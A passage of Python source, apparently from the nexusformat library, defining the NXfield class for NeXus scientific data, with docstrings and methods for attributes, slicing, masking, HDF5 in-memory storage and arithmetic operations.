: list or tuple of ints\n        The dimensions of the NXfield data. If the NXfield has been initialized\n        but the data values have not been read in or defined, this is a list of\n        ints. Otherwise, it is set to the equivalent Numpy shape, which is a\n        tuple. Scalars (numeric or string) are stored as Numpy zero-rank arrays,\n        for which shape=().\n    attrs : dict\n        A dictionary of all the NeXus attributes associated with the field.\n        These are objects with class NXattr.\n    nxdata : scalar, Numpy array or string\n        The data value of the NXfield. This is normally initialized using the\n        'value' parameter (see above). If the NeXus data is contained\n        in a file and the size of the NXfield array is too large to be stored\n        in memory, the value is not read in until this attribute is directly\n        accessed. Even then, if there is insufficient memory, a value of None\n        will be returned. In this case, the NXfield array should be read as a\n        series of smaller slabs using 'get'.\n    nxdata_as('units') : scalar value or Numpy array\n        If the NXfield 'units' attribute has been set, the data values, stored\n        in 'nxdata', are returned after conversion to the specified units.\n    nxpath : string\n        The path to this object with respect to the root of the NeXus tree. For\n        NeXus data read from a file, this will be a group of class NXroot, but\n        if the NeXus tree was defined interactively, it can be any valid\n        NXgroup.\n    nxroot : NXgroup\n        The root object of the NeXus tree containing this object. For\n        NeXus data read from a file, this will be a group of class NXroot, but\n        if the NeXus tree was defined interactively, it can be any valid\n        NXgroup.\n\n    **NeXus Attributes**\n\n    NeXus attributes are stored in the 'attrs' dictionary of the NXfield, but\n    can usually be assigned or referenced as if they are Python attributes, as\n    long as the attribute name is not the same as one of those listed above.\n    This is to simplify typing in an interactive session and should not cause\n    any problems because there is no name clash with attributes so far defined\n    within the NeXus standard. When writing modules, it is recommended that the\n    attributes always be referenced using the 'attrs' dictionary if there is\n    any doubt.\n\n    1) Assigning a NeXus attribute\n\n       In the example below, after assigning the NXfield, the following three\n       NeXus attribute assignments are all equivalent:\n\n        >>> entry.sample.temperature = NXfield(40.0)\n        >>> entry.sample.temperature.attrs['units'] = 'K'\n        >>> entry.sample.temperature.units = NXattr('K')\n        >>> entry.sample.temperature.units = 'K'\n\n    2) Referencing a NeXus attribute\n\n       If the name of the NeXus attribute is not the same as any of the Python\n       attributes listed above, or one of the methods listed below, or any of the\n       attributes defined for Numpy arrays, they can be referenced as if they were\n       a Python attribute of the NXfield. However, it is only possible to reference\n       attributes with one of the proscribed names using the 'attrs' dictionary.\n\n        >>> entry.sample.temperature.tree = 10.0\n        >>> entry.sample.temperature.tree\n        temperature = 40.0\n          @tree = 10.0\n          @units = K\n        >>> entry.sample.temperature.attrs['tree']\n        NXattr(10.0)\n\n    **Numerical Operations on NXfields**\n\n    NXfields usually consist of arrays of numeric data with associated\n    meta-data, the NeXus attributes. The exception is when they contain\n    character strings. This makes them similar to Numpy arrays, and this module\n    allows the use of NXfields in numerical operations in the same way as Numpy\n    ndarrays. NXfields are technically not a sub-class of the ndarray class, but\n    most Numpy operations work on NXfields, returning either another NXfield or,\n    in some cases, an ndarray that can easily be converted to an NXfield.\n\n        >>> x = NXfield((1.0,2.0,3.0,4.0))\n        >>> print x+1\n        [ 2.  3.  4.  5.]\n        >>> print 2*x\n        [ 2.  4.  6.  8.]\n        >>> print x/2\n        [ 0.5  1.   1.5  2. ]\n        >>> print x**2\n        [  1.   4.   9.  16.]\n        >>> print x.reshape((2,2))\n        [[ 1.  2.]\n         [ 3.  4.]]\n        >>> y = NXfield((0.5,1.5,2.5,3.5))\n        >>> x+y\n        NXfield(name=x,value=[ 1.5  3.5  5.5  7.5])\n        >>> x*y\n        NXfield(name=x,value=[  0.5   3.    7.5  14. ])\n        >>> (x+y).shape\n        (4,)\n        >>> (x+y).dtype\n        dtype('float64')\n\n    All these operations return valid NXfield objects containing the same\n    attributes as the first NXobject in the expression. The 'reshape' and\n    'transpose' methods also return NXfield objects.\n\n    It is possible to use the standard slice syntax.\n\n        >>> x=NXfield(np.linspace(0,10,11))\n        >>> x\n        NXfield([  0.   1.   2. ...,   8.   9.  10.])\n        >>> x[2:5]\n        NXfield([ 2.  3.  4.])\n\n    In addition, it is possible to use floating point numbers as the slice\n    indices. If one of the indices is not integer, both indices are used to\n    extract elements in the array with values between the two index values.\n\n        >>> x=NXfield(np.linspace(0,100.,11))\n        >>> x\n        NXfield([   0.   10.   20. ...,   80.   90.  100.])\n        >>> x[20.:50.]\n        NXfield([ 20.  30.  40.  50.])\n\n    The standard Numpy ndarray attributes and methods will also work with\n    NXfields, but will return scalars or Numpy arrays.\n\n        >>> x.size\n        4\n        >>> x.sum()\n        10.0\n        >>> x.max()\n        4.0\n        >>> x.mean()\n        2.5\n        >>> x.var()\n        1.25\n        >>> x.reshape((2,2)).sum(1)\n        array([ 3.,  7.])\n\n    Finally, NXfields are cast as ndarrays for operations that require them.\n    The returned value will be the same as for the equivalent ndarray\n    operation, e.g.,\n\n    >>> np.sin(x)\n    array([ 0.84147098,  0.90929743,  0.14112001, -0.7568025 ])\n    >>> np.sqrt(x)\n    array([ 1.        ,  1.41421356,  1.73205081,  2.        ])\n\n    Examples\n    --------\n    >>> x = NXfield(np.linspace(0,2*np.pi,101), units='degree')\n    >>> phi = x.nxdata_as(units='radian')\n    >>> y = NXfield(np.sin(phi))\n    >>> # Read a Ni x Nj x Nk array one vector at a time\n    >>> with root.NXentry[0].data.data as slab:\n            Ni,Nj,Nk = slab.shape\n            size = [1,1,Nk]\n            for i in range(Ni):\n                for j in range(Nj):\n                    value = slab.get([i,j,0],size)\n\n    \"\"\"\n    properties = ['mask', 'dtype', 'shape', 'chunks', 'compression', 'compression_opts',\n                  'fillvalue', 'fletcher32', 'maxshape', 'scaleoffset', 'shuffle']\n\n    def __init__(self, value=None, name='unknown', shape=None, dtype=None, \n                 group=None, attrs={}, **kwargs):\n        self._class = 'NXfield'\n        self._name = name\n        self._group = group\n        self._value, self._dtype, self._shape = _getvalue(value, dtype, shape)\n        _size = _getsize(self._shape)\n        _h5opts = {}\n        _h5opts['chunks'] = kwargs.pop('chunks', True if _size>NX_MAXSIZE else None)\n        _h5opts['compression'] = kwargs.pop('compression', \n                                            NX_COMPRESSION if _size>NX_MAXSIZE else None)\n        _h5opts['compression_opts'] = kwargs.pop('compression_opts', None)\n        _h5opts['fillvalue'] = kwargs.pop('fillvalue', None)\n        _h5opts['fletcher32'] = kwargs.pop('fletcher32', None)\n        _h5opts['maxshape'] = _getmaxshape(kwargs.pop('maxshape', None), self._shape)\n        _h5opts['scaleoffset'] = kwargs.pop('scaleoffset', None)\n        _h5opts['shuffle'] = kwargs.pop('shuffle', True if _size>NX_MAXSIZE else None)\n        self._h5opts = dict((k, v) for (k, v) in _h5opts.items() if v is not None)\n        attrs.update(kwargs)\n        self._attrs = AttrDict(self, attrs=attrs)\n        self._memfile = None\n        self._uncopied_data = None\n        self.set_changed()\n\n    def __dir__(self):\n        return sorted([c for c in dir(super(self.__class__, self)) \n                       if not c.startswith('_')]+list(self.attrs), \n                      key=natural_sort)\n\n    def __repr__(self):\n        if self._value is not None:\n            return \"NXfield(%s)\" % repr(self.nxvalue)\n        else:\n            return \"NXfield(shape=%s, dtype=%s)\" % (self.shape, self.dtype)\n\n    def __str__(self):\n        if self._value is not None:\n            return text(self.nxvalue)\n        return \"\"\n\n    def __unicode__(self):\n        if self._value is not None:\n            return text(self.nxvalue)\n        return u\"\"\n\n    def __getattr__(self, name):\n        \"\"\"\n        Enables standard numpy ndarray attributes if not otherwise defined.\n        \"\"\"\n        if name in _npattrs:\n            return getattr(self.nxdata, name)\n        elif name in self.attrs:\n            return self.attrs[name]\n        else:\n            raise AttributeError(\"'\"+name+\"' not in \"+self.nxpath)\n\n    def __setattr__(self, name, value):\n        \"\"\"\n        Adds an attribute to the NXfield 'attrs' dictionary unless the attribute\n        name starts with 'nx' or '_', or unless it is one of the standard Python\n        attributes for the NXfield class.\n        \"\"\"\n        if (name.startswith('_') or name.startswith('nx') or \n            name in self.properties):\n            object.__setattr__(self, name, value)\n        elif self.nxfilemode == 'r':\n            raise NeXusError(\"NeXus file opened as readonly\")\n        else:\n            self._attrs[name] = value\n            self.set_changed()\n\n    def __delattr__(self, name):\n        \"\"\"\n        Deletes an attribute in the NXfield 'attrs' dictionary.\n        \"\"\"\n        if name in self.attrs:\n            del self.attrs[name]\n        self.set_changed()\n\n    def __getitem__(self, idx):\n        \"\"\"\n        Returns a slice from the NXfield.\n\n        In most cases, the slice values are applied to the NXfield nxdata array\n        and returned within an NXfield object with the same metadata. However,\n        if the array is one-dimensional and the index start and stop values\n        are real, the nxdata array is returned with values between those limits.\n        This is to allow axis arrays to be limited by their actual value. This\n        real-space slicing should only be used on monotonically increasing (or\n        decreasing) one-dimensional arrays.\n        \"\"\"\n        idx = convert_index(idx, self)\n        if self._value is None:\n            if self._uncopied_data:\n                result = self._get_uncopied_data(idx)\n            elif self.nxfilemode:\n                result = self._get_filedata(idx)\n            elif self._memfile:\n                result = self._get_memdata(idx)\n                mask = self.mask\n                if mask is not None:\n                    if isinstance(mask, NXfield):\n                        mask = mask[idx].nxdata\n                    else:\n                        mask = mask[idx]\n                    if isinstance(result, np.ma.MaskedArray):\n                        result = result.data\n                    result = np.ma.array(result, mask=mask)\n            elif self.fillvalue:\n                result = np.asarray(np.empty(self.shape, dtype=self.dtype)[idx])\n                result.fill(self.fillvalue)\n            else:\n                raise NeXusError(\n                    \"Data not available either in file or in memory\")\n        else:\n            result = np.asarray(self.nxdata[idx])\n        return NXfield(result, name=self.nxname, attrs=self.safe_attrs)\n\n    def __setitem__(self, idx, value):\n        \"\"\"\n        Assigns a slice to the NXfield.\n        \"\"\"\n        if self.nxfilemode == 'r':\n            raise NeXusError(\"NeXus file opened as readonly\")\n        idx = convert_index(idx, self)\n        if value is np.ma.masked:\n            self._mask_data(idx)\n        else:\n            if isinstance(value, np.bool_) and self.dtype != np.bool_:\n                raise NeXusError(\n                    \"Cannot set a Boolean value to a non-Boolean data type\")\n            elif value is np.ma.nomask:\n                value = False\n            if isinstance(value, NXfield):\n                value = value.nxdata\n            if self._value is not None:\n                self._value[idx] = value\n            if self.nxfilemode == 'rw':\n                self._put_filedata(value, idx)\n            elif self._value is None:\n                if self.size > NX_MAXSIZE:\n                    self._put_memdata(value, idx)\n                else:\n                    self._value = np.empty(self.shape, self.dtype)\n                    if self.fillvalue:\n                        self._value.fill(self.fillvalue)\n                    elif is_string_dtype(self.dtype):\n                        self._value.fill(' ')\n                    else:\n                        self._value.fill(0)\n                    self._value[idx] = value\n        self.set_changed()\n\n    def _str_name(self, indent=0):\n        s = text(self).replace('\\r\\n', '\\n')\n        if self.dtype is not None:\n            if is_string_dtype(self.dtype):\n                if len(s) > 60:\n                    s = s[:56] + '...'\n                try:\n                    s = s[:s.index('\\n')]+'...'\n                except ValueError:\n                    pass\n                if len(self) == 1:\n                    s = \"'\" + s + \"'\"\n            elif len(self) > 3 or '\\n' in s or s == \"\":\n                if self.shape is None:\n                    dims = ''\n                else:\n                    dims = 'x'.join([text(n) for n in self.shape])\n                s = \"%s(%s)\" % (self.dtype, dims)\n        elif s == \"\":\n            s = \"None\"\n        try:\n            return \" \" * indent + self.nxname + \" = \" + s\n        except Exception:\n            return \" \" * indent + self.nxname\n\n    def _get_filedata(self, idx=()):\n        with self.nxfile as f:\n            result = f.readvalue(self.nxfilepath, idx=idx)\n            if 'mask' in self.attrs:\n                try:\n                    mask = self.nxgroup[self.attrs['mask']]\n                    result = np.ma.array(result, \n                                         mask=f.readvalue(mask.nxfilepath,\n                                                          idx=idx))\n                except KeyError:\n                    pass\n        return result\n\n    def _put_filedata(self, value, idx=()):\n        with self.nxfile as f:\n            if isinstance(value, np.ma.MaskedArray):\n                if self.mask is None:\n                    self._create_mask()\n                f.writevalue(self.nxpath, value.data, idx=idx)\n                f.writevalue(self.mask.nxpath, value.mask, idx=idx)\n            else:\n                f.writevalue(self.nxpath, value, idx=idx)\n\n    def _get_memdata(self, idx=()):\n        result = self._memfile['data'][idx]\n        if 'mask' in self._memfile:\n            mask = self._memfile['mask'][idx]\n            if mask.any():\n                result = np.ma.array(result, mask=mask)\n        return result\n    \n    def _put_memdata(self, value, idx=()):\n        if self._memfile is None:\n            self._create_memfile()\n        if 'data' not in self._memfile:\n            self._create_memdata()\n        self._memfile['data'][idx] = value\n        if isinstance(value, np.ma.MaskedArray):\n            if 'mask' not in self._memfile:\n                self._create_memmask()\n            self._memfile['mask'][idx] = value.mask\n    \n    def _create_memfile(self):\n        \"\"\"\n        Creates an HDF5 memory-mapped file to store the data\n        \"\"\"\n        import tempfile\n        self._memfile = h5.File(tempfile.mkstemp(suffix='.nxs')[1],\n                                driver='core', backing_store=False).file\n\n    def _create_memdata(self):\n        \"\"\"\n        Creates an HDF5 memory-mapped dataset to store the data\n        \"\"\"\n        if self._shape is not None and self._dtype is not None:\n            if self._memfile is None:\n                self._create_memfile()\n            self._memfile.create_dataset('data', shape=self._shape, dtype=self._dtype, \n                                         **self._h5opts)\n        else:\n            raise NeXusError(\n                \"Cannot allocate to field before setting shape and dtype\")       \n\n    def _create_memmask(self):\n        \"\"\"\n        Creates an HDF5 memory-mapped dataset to store the data mask\n        \"\"\"\n        if self._shape is not None:\n            if self._memfile is None:\n                self._create_memfile()\n            self._memfile.create_dataset('mask', shape=self._shape, dtype=np.bool,\n                                         **self._h5opts)\n        else:\n            raise NeXusError(\"Cannot allocate mask before setting shape\")       \n\n    def _create_mask(self):\n        \"\"\"\n        Create a data mask field if none exists\n        \"\"\"\n        if self.nxgroup is not None:\n            if 'mask' in self.attrs:\n                mask_name = self.attrs['mask']\n                if mask_name in self.nxgroup:\n                    return mask_name\n            mask_name = '%s_mask' % self.nxname\n            self.nxgroup[mask_name] = NXfield(shape=self._shape, dtype=np.bool, \n                                              fillvalue=False)\n            self.attrs['mask'] = mask_name\n            return mask_name\n        return None      \n\n    def _mask_data(self, idx=()):\n        \"\"\"\n        Add a data mask covering the specified indices\n        \"\"\"\n        mask_name = self._create_mask()\n        if mask_name:\n            self.nxgroup[mask_name][idx] = True\n        elif self._memfile:\n            if 'mask' not in self._memfile:\n                self._create_memmask()\n            self._memfile['mask'][idx] = True\n        if self._value is not None:\n            if not isinstance(self._value, np.ma.MaskedArray):\n                self._value = np.ma.array(self._value)\n            self._value[idx] = np.ma.masked\n\n    def _get_uncopied_data(self, idx=None):\n        _file, _path = self._uncopied_data\n        with _file as f:\n            if idx:\n                return f.readvalue(_path, idx=idx)\n            else:\n                if self.nxfilemode == 'rw':\n                    f.copy(_path, self.nxpath)\n                else:\n                    self._create_memfile()\n                    f.copy(_path, self._memfile, 'data')\n                self._uncopied_data = None\n                if (np.prod(self.shape) * np.dtype(self.dtype).itemsize \n                    <= NX_MEMORY*1000*1000):\n                    return f.readvalue(_path)\n                else:\n                    return None\n\n    def __deepcopy__(self, memo={}):\n        obj = self\n        dpcpy = obj.__class__()\n        memo[id(self)] = dpcpy\n        dpcpy._name = copy(self.nxname)\n        dpcpy._dtype = copy(obj.dtype)\n        dpcpy._shape = copy(obj.shape)\n        dpcpy._h5opts = copy(obj._h5opts)\n        dpcpy._changed = True\n        dpcpy._memfile = obj._memfile\n        dpcpy._uncopied_data = obj._uncopied_data\n        if obj._value is not None:\n            dpcpy._value = copy(obj._value)\n            dpcpy._memfile = dpcpy._uncopied_data = None\n        elif obj.nxfilemode:\n            dpcpy._uncopied_data = (obj.nxfile, obj.nxpath)\n        for k, v in obj.attrs.items():\n            dpcpy.attrs[k] = copy(v)\n        if 'target' in dpcpy.attrs:\n            del dpcpy.attrs['target']\n        dpcpy._group = None\n        return dpcpy\n\n    def __iter__(self):\n        \"\"\"\n        Implements key iteration\n        \"\"\"\n        try:\n            return self.nxvalue.__iter__()\n        except AttributeError:\n            return self\n            \n    def __next__(self):\n        \"\"\"\n        Implements key iteration\n        \"\"\"\n        try:\n            return self.nxvalue.__next__()\n        except AttributeError:\n            raise StopIteration\n            \n    def __contains__(self, key):\n        \"\"\"Implements 'k in d' test using the NXfield nxvalue.\"\"\"\n        return self.nxvalue.__contains__(key)\n\n    def __len__(self):\n        \"\"\"\n        Returns the length of the NXfield data.\n        \"\"\"\n        try:\n            return self.shape[0]\n        except Exception:\n            return 0\n\n    def __nonzero__(self):\n        \"\"\"\n        Returns False if all values are 0 or False, True otherwise.\n        \"\"\"\n        try:\n            if np.any(self.nxvalue):\n                return True\n            else:\n                return False\n        except NeXusError:\n            #This usually means that there are too many values to load\n            return True\n\n    def index(self, value, max=False):\n        \"\"\"\n        Returns the index of a one-dimensional NXfield element that is less\n        than (greater than) or equal to the given value for a monotonically \n        increasing (decreasing) array.\n\n        If max=True, then it returns the index that is greater than (less than) \n        or equal to the value for a monotonically increasing (decreasing) array.\n        \n        >>> field\n        NXfield([ 0.   0.1  0.2 ...,  0.8  0.9  1. ])\n        >>> field.index(0.1)\n        1\n        >>> field.index(0.11)\n        1\n        >>> field.index(0.11, max=True)\n        2\n        >>> reverse_field\n        NXfield([ 1.   0.9  0.8 ...,  0.2  0.1  0. ])\n        >>> reverse_field.index(0.89)\n        1\n        >>> reverse_field.index(0.89, max=True)\n        2\n\n        The value is considered to be equal to an NXfield element's value if it\n        differs by less than 1% of the step size to the neighboring element. \n        \n        This raises a NeXusError if the array is not one-dimensional.\n        \"\"\"\n        if self.ndim != 1:\n            raise NeXusError(\n                \"NXfield must be one-dimensional to use the index function\")\n        if self.nxdata[-1] < self.nxdata[0]:\n            flipped = True\n        else:\n            flipped = False\n        if max:\n            if flipped:\n                idx = np.max(len(self.nxdata) - \n                             len(self.nxdata[self.nxdata<value])-1,0)\n            else:\n                idx = np.max(len(self.nxdata) - \n                             len(self.nxdata[self.nxdata>value])-1,0)\n            try:\n                diff = value - self.nxdata[idx]\n                step = self.nxdata[idx+1] - self.nxdata[idx]\n                if abs(diff/step) > 0.01:\n                    idx = idx + 1\n            except IndexError:\n                pass\n        else:\n            if flipped:\n                idx = len(self.nxdata[self.nxdata>value])\n            else:\n                idx = len(self.nxdata[self.nxdata<value])\n            try:\n                diff = value - self.nxdata[idx-1]\n                step = self.nxdata[idx] - self.nxdata[idx-1]\n                if abs(diff/step) < 0.99:\n                    idx = idx - 1\n            except IndexError:\n                pass\n        return int(np.clip(idx, 0, len(self.nxdata)-1))\n\n    def __array__(self):\n        \"\"\"\n        Casts the NXfield as an array when it is expected by numpy\n        \"\"\"\n        return np.asarray(self.nxdata)\n\n    def __array_wrap__(self, value):\n        \"\"\"\n        Transforms the array resulting from a ufunc to an NXfield\n        \"\"\"\n        return NXfield(value, name=self.nxname)\n\n    def __int__(self):\n        \"\"\"\n        Casts a scalar field as an integer\n        \"\"\"\n        return int(self.nxvalue)\n\n    def __long__(self):\n        \"\"\"\n        Casts a scalar field as a long integer\n\n        The use of the 'long' function is not valid in Python 3 and \n        no longer useful in Python 2\n        \"\"\"\n        return int(self.nxvalue)\n\n    def __float__(self):\n        \"\"\"\n        Casts a scalar field as floating point number\n        \"\"\"\n        return float(self.nxvalue)\n\n    def __complex__(self):\n        \"\"\"\n        Casts a scalar field as a complex number\n        \"\"\"\n        return complex(self.nxvalue)\n\n    def __neg__(self):\n        \"\"\"\n        Returns the negative value of a scalar field\n        \"\"\"\n        return -self.nxvalue\n\n    def __abs__(self):\n        \"\"\"\n        Returns the absolute value of a scalar field\n        \"\"\"\n        return abs(self.nxvalue)\n\n    def __eq__(self, other):\n        \"\"\"\n        Returns true if the values of the NXfield are the same.\n        \"\"\"\n        if id(self) == id(other):\n            return True\n        elif isinstance(other, NXfield):\n            if (isinstance(self.nxvalue, np.ndarray) and\n                   isinstance(other.nxvalue, np.ndarray)):\n                try:\n                    return np.array_equal(self, other)\n                except ValueError:\n                    return False\n            else:\n                return self.nxvalue == other.nxvalue\n        else:\n            return self.nxvalue == other\n\n    def __ne__(self, other):\n        \"\"\"\n        Returns true if the values of the NXfield are not the same.\n        \"\"\"\n        if isinstance(other, NXfield):\n            if (isinstance(self.nxvalue, np.ndarray) and\n                   isinstance(other.nxvalue, np.ndarray)):\n                try:\n                    return not np.array_equal(self, other)\n                except ValueError:\n                    return True\n            else:\n                return self.nxvalue != other.nxvalue\n        else:\n            return self.nxvalue != other\n\n    def __lt__(self, other):\n        \"\"\"\n        Returns true if self.nxvalue < other[.nxvalue]\n        \"\"\"\n        if isinstance(other, NXfield):\n            return self.nxvalue < other.nxvalue\n        else:\n            return self.nxvalue < other\n\n    def __le__(self, other):\n        \"\"\"\n        Returns true if self.nxvalue <= other[.nxvalue]\n        \"\"\"\n        if isinstance(other, NXfield):\n            return self.nxvalue <= other.nxvalue\n        else:\n            return self.nxvalue <= other\n\n    def __gt__(self, other):\n        \"\"\"\n        Returns true if self.nxvalue > other[.nxvalue]\n        \"\"\"\n        if isinstance(other, NXfield):\n            return self.nxvalue > other.nxvalue\n        else:\n            return self.nxvalue > other\n\n    def __ge__(self, other):\n        \"\"\"\n        Returns true if self.nxvalue >= other[.nxvalue]\n        \"\"\"\n        if isinstance(other, NXfield):\n            return self.nxvalue >= other.nxvalue\n        else:\n            return self.nxvalue >= other\n\n    def __add__(self, other):\n        \"\"\"\n        Returns the sum of the NXfield and another NXfield or number.\n        \"\"\"\n        if isinstance(other, NXfield):\n            return NXfield(value=self.nxdata+other.nxdata, name=self.nxname,\n                           attrs=self.safe_attrs)\n        else:\n            return NXfield(value=self.nxdata+other, name=self.nxname,\n                           attrs=self.safe_attrs)\n \n    def __radd__(self, other):\n        \"\"\"\n        Returns the sum of the NXfield and another NXfield or number.\n\n        This variant makes __add__ commutative.\n        \"\"\"\n        return self.__add__(other)\n\n    def __sub__(self, other):\n        \"\"\"\n        Returns the NXfield with the subtraction of another NXfield or number.\n        \"\"\"\n        if isinstance(other, NXfield):\n            return NXfield(value=self.nxdata-other.nxdata, name=self.nxname,\n                           attrs=self.safe_attrs)\n        else:\n            return NXfield(value=self.nxdata-other, name=self.nxname,\n                           attrs=self.safe_attrs)\n\n    def __rsub__(self, other):\n        \"\"\"\n        Returns the NXfield after subtracting from another number.\n        \"\"\"\n        if isinstance(other, NXfield):\n            return NXfield(value=other.nxdata-self.nxdata, name=self.nxname,\n                           attrs=self.safe_attrs)\n        else:\n            return NXfield(value=other-self.nxdata, name=self.nxname,\n                           attrs=self.safe_attrs)\n\n    def __mul__(self, other):\n        \"\"\"\n        Returns the product of the NXfield and another NXfield or number.\n        \"\"\"\n        if isinstance(other, NXfield):\n            return NXfield(value=self.nxdata*other.nxdata, name=self.nxname,\n                           attrs=self.safe_attrs)\n        else:\n            return NXfield(value=self.nxdata*other, name=self.nxname,\n                           attrs=self.safe_attrs)\n\n    def __rmul__(self, other):\n        \"\"\"\n        Returns the product of the NXfield and another NXfield or number.\n\n        This variant makes __mul__ commutative.\n        \"\"\"\n        return self.__mul__(other)\n\n    def __truediv__(self, other):\n        \"\"\"\n        Returns the NXfield divided by another NXfield or number.\n        \"\"\"\n        if isinstance(other, NXfield):\n            return NXfield(value=self.nxdata/other.nxdata, name=self.nxname,\n                           attrs=self.safe_attrs)\n        else:\n            return NXfield(value=self.nxdata/other, name=self.nxname,\n                           attrs=self.safe_attrs)\n\n    __div__ = __truediv__\n\n    def __rtruediv__(self, other):\n        \"\"\"\n        Returns the inverse of the NXfield divided by another NXfield or number.\n        \"\"\"\n        if isinstance(other, NXfield):\n            return NXfield(value=other.nxdata/self.nxdata, name=self.nxname,\n                           attrs=self.safe_attrs)\n        else:\n            return NXfield(value=other/self.nxdata, name=self.nxname,\n                           attrs=self.safe_attrs)\n\n    __rdiv__ = __rtruediv__\n\n    def __pow__(self, power):\n        \"\"\"\n        Returns the NXfield raised to the specified power.\n        \"\"\"\n        return NXfield(value=pow(self.nxdata,power), name=self.nxname,\n                       attrs=self.safe_attrs)\n\n    def min(self, axis=None):\n        \"\"\"\n        Returns the minimum value of the array ignoring NaNs\n        \"\"\"\n        return np.nanmin(self.nxdata[self.nxdata>-np.inf], axis) \n\n    def max(self, axis=None):\n        \"\"\"\n        Returns the maximum value of the array ignoring NaNs\n        \"\"\"\n        return np.nanmax(self.nxdata[self.nxdata<np.inf], axis) \n\n    def sum(self, axis=None):\n        \"\"\"\n        Returns the sum of the NXfield. The sum is over a single axis or a tuple \n        of axes using the Numpy sum method.\n        \"\"\"\n        return NXfield(np.sum(self.nxdata, axis), name=self.nxname, \n                       attrs=self.safe_attrs)\n\n    def average(self, axis=None):\n        \"\"\"\n        Returns the average of the NXfield. The sum is over a single axis or a \n        tuple of axes using the Numpy average method. \n        \"\"\"\n        return NXfield(np.average(self.nxdata, axis), name=self.nxname, \n                       attrs=self.safe_attrs)\n\n    def reshape(self, shape):\n        \"\"\"\n        Returns an NXfield with the specified shape.\n        \"\"\"\n        return NXfield(value=self.nxdata, name=self.nxname, shape=shape,\n                       attrs=self.safe_attrs)\n\n    def transpose(self):\n        \"\"\"\n        Returns an NXfield containing the transpose of the data array.\n        \"\"\"\n        value = self.nxdata.transpose()\n        return NXfield(value=value, name=self.nxname,\n                       shape=value.shape, attrs=self.safe_attrs)\n\n    @property\n    def T(self):\n        return self.transpose()\n\n    def centers(self):\n        \"\"\"\n        Returns an NXfield with the centers of a single axis\n        assuming it contains bin boundaries.\n        \"\"\"\n        return NXfield((self.nxdata[:-1]+self.nxdata[1:])/2,\n                        name=self.nxname, attrs=self.safe_attrs)\n\n    def boundaries(self):\n        \"\"\"\n        Returns an NXfield with the boundaries of a single axis\n        assuming it contains bin centers.\n        \"\"\"\n        ax = self.nxdata\n        start = ax[0] - (ax[1] - ax[0])/2\n        end = ax[-1] + (ax[-1] - ax[-2])/2\n        return NXfield(np.concatenate((np.atleast_1d(start), \n                                       (ax[:-1] + ax[1:])/2, \n                                       np.atleast_1d(end))),\n                       name=self.nxname, attrs=self.safe_attrs)\n\n    def add(self, data, offset):\n        \"\"\"\n        Adds a slab into the data array.\n        \"\"\"\n        idx = tuple(slice(i,i+j) for i,j in zip(offset,data.shape))\n        if isinstance(data, NXfield):\n            self[idx] += data.nxdata.astype(self.dtype)\n        else:\n            self[idx] += data.astype(self.dtype)\n\n    def convert(self, units=\"\"):\n        \"\"\"\n        Returns the data in the requested units.\n        \"\"\"\n        try:\n            import units\n        except ImportError:\n            raise NeXusError(\"No conversion utility available\")\n        if self._value is not None:\n            return self._converter(self.nxvalue, units)\n        else:\n            return None\n\n    def walk(self):\n        yield self\n\n    def replace(self, value):\n        \"\"\"\n        Replace the value of a field.\n\n        If the size or dtype of the field differs from an existing field within\n        a saved group, the original field will be deleted and replaced by the \n        newone. Otherwise, the field values are updated.\n        \"\"\"\n        group = self.nxgroup\n        if group is None:\n            raise NeXusError(\"The field must be a member of a group\")\n        if isinstance(value, NXfield):\n            del group[self.nxname]\n            group[self.nxname] = value\n        elif is_text(value):\n            if self.dtype == string_dtype:\n                self.nxdata = value\n                group.update()\n            else:\n                del group[self.nxname]\n                group[self.nxname] = NXfield(value, attrs=self.attrs)\n        else:\n            value = np.asarray(value)\n            if value.shape == self.shape and value.dtype == self.dtype:\n                self.nxdata = value\n                group.update()\n            else:\n                del group[self.nxname]\n                group[self.nxname] = NXfield(value, attrs=self.attrs)\n\n    @property\n    def nxaxes(self):\n        \"\"\"\n        Returns a list of NXfields containing axes.\n\n        If the NXfield does not have the 'axes' attribute but is defined as\n        the signal in its parent group, a list of the parent group's axes will\n        be returned. \n        \"\"\"\n        def invalid_axis(axis):\n            return axis.size != self.shape[i] and axis.size != self.shape[i]+1\n        def empty_axis(i):\n            return NXfield(np.arange(self.shape[i]), name='Axis%s'%i)\n        def plot_axis(axis):\n            return NXfield(axis.nxvalue, name=axis.nxname, attrs=axis.attrs) \n        if self.nxgroup:\n            if 'axes' in self.attrs:\n                axis_names = _readaxes(self.attrs['axes'])\n            elif 'axes' in self.nxgroup.attrs:\n                axis_names = _readaxes(self.nxgroup.attrs['axes'])\n            else:\n                axis_names = ['.'] * self.plot_rank\n            if len(axis_names) > self.plot_rank:\n                axis_names = axis_names[:self.plot_rank]\n            axes = []\n            for i, axis_name in enumerate(axis_names):\n                axis_name = axis_name.strip()\n                if (axis_name not in self.nxgroup or  \n                    invalid_axis(self.nxgroup[axis_name])):\n                    axes.append(empty_axis(i))\n                else:\n                    axes.append(plot_axis(self.nxgroup[axis_name]))\n            return axes\n        else:\n            return [empty_axis(i) for i in range(self.plot_rank)]\n\n    def valid_axes(self, axes):\n        \"\"\"Return True if the axes are consistent with the field.\n        \n        It checks that all the axes are one-dimensional, and that the size of\n        each axis is equal to or one greater than the field dimension.\n        \n        Parameters\n        ----------\n        axes : list\n            List of NXfields\n        \n        Note\n        ----\n        The function removes scalar axes before the check even though these are \n        returned by the nxaxes property. That is because ndim is 0 for scalars.\n        They are automatically removed when plotting so this does not \n        invalidate the check.\n        \"\"\"\n        if not is_iterable(axes):\n            axes = [axes]\n        plot_axes = [axis for axis in axes if axis.size > 1]\n        axis_shape = [axis.size for axis in plot_axes]\n        if (all(axis.ndim == 1 for axis in plot_axes) and \n            len([x for x,y in zip(self.plot_shape, axis_shape) \n                 if x==y or x==y-1]) == self.plot_rank):\n            return True\n        else:\n            return False\n\n    @property\n    def nxvalue(self):\n        \"\"\"Returns the NXfield value.\n        \n        This is the value stored in the NeXus file, with the following\n        exceptions.\n            1) Size-1 arrays are returned as scalars.\n            2) String or byte arrays are returns as a list of strings.\n\n        Note\n        ----\n        If unmodified values are required, use the 'nxdata' property.\n        \"\"\"\n        _value = self.nxdata\n        if _value is None:\n            return None\n        elif (self.dtype is not None and\n            (self.dtype.type == np.string_ or self.dtype.type == np.str_ or \n             self.dtype == string_dtype)):\n            if self.shape == ():\n                return text(_value)\n            elif self.shape == (1,):\n                return text(_value[0])\n            else:\n                return [text(value) for value in _value[()]]\n        elif self.shape == (1,):\n            return _value.item()\n        else:\n            return _value\n\n    @property\n    def nxdata(self):\n        \"\"\"Returns the NXfield data if it is not larger than NX_MEMORY.\"\"\"\n        if 